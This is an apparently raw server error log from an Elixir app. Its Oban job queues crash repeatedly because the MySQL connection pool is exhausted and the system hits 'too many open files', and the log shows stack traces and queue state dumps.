State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:58:16.245349Z], limit: 10, uuid: "e22435e3-7872-445f-b09d-21fe83ee1b1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.245354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247142>, refresh_timer: #Reference<0.2525715032.1121189889.101235>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:58:16.245913Z], limit: 3, uuid: "434a45de-ae6c-4ca8-b936-3ddc46276e8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.245919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247144>, refresh_timer: #Reference<0.2525715032.1099169794.255213>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:58:16.243231Z], limit: 5, uuid: "bd8ea9a4-43ae-4603-b909-d915738d3ac4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.243240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247139>, refresh_timer: #Reference<0.2525715032.1068236804.247109>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:58:16.245547Z], limit: 50, uuid: "06a3fb79-9fbf-4884-9563-50738dfa0c1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.245553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247143>, refresh_timer: #Reference<0.2525715032.1121189889.101236>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:58:16.245735Z], limit: 20, uuid: "f5e5116a-956e-4805-bae9-5dad16208388", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:16.245739Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247141>, refresh_timer: #Reference<0.2525715032.1121189889.101237>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:33.400000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:35.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:35.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:35.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:38.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:38.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:58:28.239840Z], limit: 5, uuid: "25c24281-d14a-483c-a7d8-bcd2db179297", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.239846Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247393>, refresh_timer: #Reference<0.2525715032.1099169794.255391>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:58:28.241251Z], limit: 20, uuid: "86cb8cc2-3c33-4822-aa5d-e07fc4d21e6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.241257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247392>, refresh_timer: #Reference<0.2525715032.1099169794.255413>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:58:28.239554Z], limit: 3, uuid: "1f6381ab-c391-4252-9162-a9da70e1e0a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.239560Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247397>, refresh_timer: #Reference<0.2525715032.1077411843.227398>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:58:28.241189Z], limit: 50, uuid: "1a24ae1f-4d8d-4d0b-907d-be27df2ab3fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.241194Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247394>, refresh_timer: #Reference<0.2525715032.1099169794.255407>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
